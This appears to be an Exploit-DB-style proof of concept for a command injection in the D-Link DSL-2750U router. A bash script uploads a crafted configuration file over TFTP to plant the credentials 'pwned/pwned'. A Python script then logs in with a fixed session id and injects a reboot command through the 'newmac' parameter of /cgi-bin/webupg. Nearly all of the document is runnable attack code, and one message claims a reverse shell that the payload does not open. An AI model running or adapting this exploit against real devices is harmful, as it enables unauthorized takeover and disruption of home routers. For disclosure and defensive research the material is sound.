Dlink DSL2750U Command Injection

# Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection
# Date: 17-06-2021
# Exploit Author: Mohammed Hadi (HadiMed)
# Vendor Homepage: https://me.dlink.com/consumer
# Software Link: https://dlinkmea.com/index.php/product/details?det=c0lvN0JoeVVhSXh4TVhjTnd1OUpUUT09 Version: ME_1.16
# Tested on: firmware GAN9.ET235B-B-DL-DSL2750U-R5B028-ME.EN_2T2R*
# https://github.com/HadiMed/firmware-analysis/tree/main/DSL-2750U%20(firmware%20version%201.6) 

### 

#!/bin/bash

# Exploit by HadiMed 

# Takes advantage of the tftp server that accepts the cfg file blindly 
echo -ne "n"
echo "Exploiting Dlink DSL-2750u version 1.6"
echo -ne "nn"

# Sending the payload 
echo -ne "binarynput cfg.xmlnquit" | tftp 192.168.1.1
echo -ne "n"

echo "File uploaded Successfully"
echo "Waiting for router to restart"

sleep 180 # approximate time for router to restart 

python3 exploit.py

###

import requests 

# HTTP request looks like this 
'''
POST /cgi-bin/webproc HTTP/1.1
Host: 192.168.1.1
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/cgi-bin/webproc
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sessionid=deadbeef; language=en_us; sys_UserName=user; sessionid=634cdf91
Connection: close

getpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=setup&var%3Apage=wizard&obj-action=auth&%3Ausername=user&%3Apassword=user&%3Aaction=login&%3Asessionid=634cdf91 
'''

# 1 Getting a session id 

# password and username crafted by me on the cfg.xml file 

username = "pwned"
password= "pwned"


# acually the client set the sessionid in condition that the password and username are correct

Cookie="sessionid=deadbeef; language=en_us; sys_UserName=pwned; sessionid=deadbeef"
Contentty="application/x-www-form-urlencoded"
Referer="http://192.168.1.1/cgi-bin/webproc"
Contentlen="175" 

# Sending first request to set our session id 
response = requests.post("http://192.168.1.1/cgi-bin/webproc",
  headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
,  
  data={  "getpage":"html/index.html",
          "errorpage":"html/main.html",
          "var:menu" : "setup",
    "var:page":"wizard",
    "obj-action":"auth",
    ":username":username,
    ":password":password,
    ":action":"login",
    ":sessionid":"deadbeef"
}
  )


Referer = "http://192.168.1.1/cgi-bin/webupg"

name = "mac"
cmd = "1;sleep${IFS}10;reboot;"

Contentlen = str(len(name+cmd)+10)

if response.status_code==302:
  print("got sessionid=deadbeef !n waiting for the reverse shell ...") 

# access cgi-bin/webupg
try :
  response = requests.post("http://192.168.1.1/cgi-bin/webupg",
        headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
        ,data = {"name":name , "newmac":cmd} , timeout=0.0000000001

)

except requests.exceptions.Timeout :

  print("done router will restart in 20 sec")   

print("Device restarted!")